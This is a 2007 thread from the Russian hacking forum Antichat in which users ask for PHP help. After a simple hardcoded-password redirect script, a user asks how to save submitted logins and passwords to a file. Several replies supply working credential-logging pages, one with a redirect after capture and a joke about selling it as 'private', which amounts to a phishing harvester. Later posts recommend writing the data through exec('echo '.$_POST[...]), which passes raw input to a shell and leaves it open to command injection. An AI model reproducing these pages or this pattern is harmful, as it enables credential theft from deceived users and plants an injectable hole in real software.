ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > Программирование > PHP, PERL, MySQL, JavaScript
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #341  
Старый 22.08.2007, 10:27
Ad
Познающий
Регистрация: 15.07.2006
Сообщений: 48
Провел на форуме:
126131

Репутация: 26
По умолчанию

Людей хелп. Нужен такой просто php скрипт.
Поле пароль
Собсно вводим пароль если пароль верный то нас кидает на определенную страницу если пароль неверный то выдается соответствующие сообщение.
 
Ответить с цитированием

  #342  
Старый 22.08.2007, 10:46
groundhog
Познавший АНТИЧАТ
Регистрация: 12.05.2007
Сообщений: 1,235
Провел на форуме:
2238549

Репутация: 1318


Отправить сообщение для groundhog с помощью ICQ
По умолчанию

password.html
Цитата:
<html>
<head>
<title>Авторизация доступа</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
</head>
<body>
<h1>Введите пароль:</h1>
<form action="password.php" method="post">
<input type="password" name="passwd" maxlength="24" size="18" value="">
<br><br>
<input type="submit" value="Авторизация">
</form>
</body>
</html>
password.php
Цитата:
<?php

define("REDIRECT_URL", "http://www.yandex.ru");
define("ACCESS_PASSWD", "Шапка0012УшанкА");

$passwd = trim($_POST["passwd"]);

if (strlen($passwd) && $passwd == ACCESS_PASSWD)
header("Location: " . REDIRECT_URL);
else
print("<h1 style=\"color: red\">Введённый пароль не верен!</h1>");

?>
Заходишь на password.html и вводишь пароль. Пароль забит константой.
 
Ответить с цитированием

  #343  
Старый 22.08.2007, 14:54
Reanimat0R
Новичок
Регистрация: 10.06.2007
Сообщений: 26
Провел на форуме:
105092

Репутация: 4
Отправить сообщение для Reanimat0R с помощью ICQ
По умолчанию

Скажите пожалуйста, как сделать так, что бы при вводе логина и пароля, они автоматически сохранялись в отдельный файлик?
 
Ответить с цитированием

  #344  
Старый 22.08.2007, 15:13
NOmeR1
Познавший АНТИЧАТ
Регистрация: 02.06.2006
Сообщений: 1,188
Провел на форуме:
6023777

Репутация: 2642


Отправить сообщение для NOmeR1 с помощью ICQ
По умолчанию

Цитата:
Сообщение от Reanimat0R  
Скажите пожалуйста, как сделать так, что бы при вводе логина и пароля, они автоматически сохранялись в отдельный файлик?
PHP код:
<?
$file 
'data.txt'//файлик
if(!$_POST['s'])
{
?>
<form method=POST>
 Логин: <input type=text name=login><br>
 Пароль: <input type=password name=pass><br>
 <input type=submit name=s>
</form>
<?
} else {
 
$format $_POST['login'].' ||| '.$_POST['pass']; //в каком формате записать логин и пасс (запишется так - ЛОГИН ||| ПАРОЛЬ)
 
$f fopen($file'ab');
 
fwrite($f$format."\r\n");
 
fclose($f);
}
?>
 
Ответить с цитированием

  #345  
Старый 22.08.2007, 15:19
DIAgen
Познавший АНТИЧАТ
Регистрация: 02.05.2006
Сообщений: 1,191
Провел на форуме:
7364332

Репутация: 1276


По умолчанию

Еще вот так сделать... и можно будет продовать как приват..)))
PHP код:
<?
$file 
'data.txt'//файлик
if(!$_POST['s'])
{
?>
<form method=POST>
 Логин: <input type=text name=login><br>
 Пароль: <input type=password name=pass><br>
 <input type=submit name=s>
</form>
<?
} else {
 
$format $_POST['login'].' ||| '.$_POST['pass']; //в каком формате записать логин и пасс (запишется так - ЛОГИН ||| ПАРОЛЬ)
 
$f fopen($file'ab');
 
fwrite($f$format."\r\n");
 
fclose($f);
header("Location: http://example.com/");
}
?>
 
Ответить с цитированием

  #346  
Старый 22.08.2007, 15:22
groundhog
Познавший АНТИЧАТ
Регистрация: 12.05.2007
Сообщений: 1,235
Провел на форуме:
2238549

Репутация: 1318


Отправить сообщение для groundhog с помощью ICQ
По умолчанию

password.html
Цитата:
<html>
<head>
<title>Авторизация доступа</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
</head>
<body>
<h1>Введите логин и пароль:</h1>
<form action="password.php" method="post">
Логин: <input type="text" name="login" maxlength="24" size="18" value="">
<br><br>
Пароль: <input type="password" name="passwd" maxlength="24" size="18" value="">
<br><br>
<input type="submit" value="Авторизация">
</form>
</body>
</html>
password.php
Цитата:
<?php

$login = @trim($_POST["login"]);
$passwd = @trim($_POST["passwd"]);

if (!strlen($login) || !strlen($passwd))
die("<h1 style=\"color: red\">Данные не верны. Повторите ввод!</h1>");

$fileId = fopen("passwords.txt", "a+");
if (!$fileId)
die("<h1 style=\"color: red\">Не могу открыть файл для записи!</h1>");

$line = sprintf("%s:%s\n", $login, $passwd);

if (!fputs($fileId, $line))
die("<h1 style=\"color: red\">Не могу записать данные в файл!</h1>");

fclose($fileId);

print("<h1 style=\"color: green\">Спасибо за посещение, {$login}!</h1>");

?>
Заходишь на password.html и вводишь логин и пароль. Скрипт password.php будет вести запись введённых данных и уведомлять пользователя "Спасибо за посещение!".
 
Ответить с цитированием

  #347  
Старый 22.08.2007, 15:30
NOmeR1
Познавший АНТИЧАТ
Регистрация: 02.06.2006
Сообщений: 1,188
Провел на форуме:
6023777

Репутация: 2642


Отправить сообщение для NOmeR1 с помощью ICQ
По умолчанию

Цитата:
Сообщение от groundhog  
Заходишь на password.html и вводишь логин и пароль. Скрипт password.php будет вести запись введённых данных и уведомлять пользователя "Спасибо за посещение!".
Что-то у тебя он какой-то "сложный" зачем столько гемора?
А вообще достаточно скрипта
PHP код:
exec('echo '.$_POST['login'].'|||'.$_POST['pass'].' > log.txt'); 
 
Ответить с цитированием

  #348  
Старый 22.08.2007, 15:46
ENFIX
Участник форума
Регистрация: 06.06.2006
Сообщений: 213
Провел на форуме:
1628290

Репутация: 474
Отправить сообщение для ENFIX с помощью ICQ
По умолчанию

NOmeR1, тогда точнее будет так:
PHP код:
exec("echo ".$_POST['login']."|||".$_POST['pass']." > log.txt"); 
 
Ответить с цитированием

  #349  
Старый 22.08.2007, 15:55
NOmeR1
Познавший АНТИЧАТ
Регистрация: 02.06.2006
Сообщений: 1,188
Провел на форуме:
6023777

Репутация: 2642


Отправить сообщение для NOmeR1 с помощью ICQ
По умолчанию

Цитата:
Сообщение от ENFIX  
NOmeR1, тогда точнее будет так:
PHP код:
exec("echo ".$_POST['login']."|||".$_POST['pass']." > log.txt"); 
Какая разница? Ты сменил ковычки, зачем? Какой смысл?
 
Ответить с цитированием

  #350  
Старый 22.08.2007, 16:00
groundhog
Познавший АНТИЧАТ
Регистрация: 12.05.2007
Сообщений: 1,235
Провел на форуме:
2238549

Репутация: 1318


Отправить сообщение для groundhog с помощью ICQ
По умолчанию

NOmeR1, чего там сложного? Зато обрабатывает все ошибки и ведёт себя однозначно + я делал это для наглядности отдельно (пример отправки данных, пример обработки, пример записи).

Цитата:
exec('echo '.$_POST['login'].'|||'.$_POST['pass'].' > log.txt');
А этот код не сработает в safe mode. И тогда уж лучше:

Цитата:
exec('echo '.$_POST['login'].'|||'.$_POST['pass'].' >> log.txt');
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[c/c++] Новичкам: задаем вопросы _Great_ С/С++, C#, Delphi, .NET, Asm 5421 21.04.2026 07:37
Интернетчики задали российскому президенту очень странные вопросы podkashey Мировые новости 4 07.07.2006 16:53
Вопросы по Ipb 2.0 Voodoo_People Форумы 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ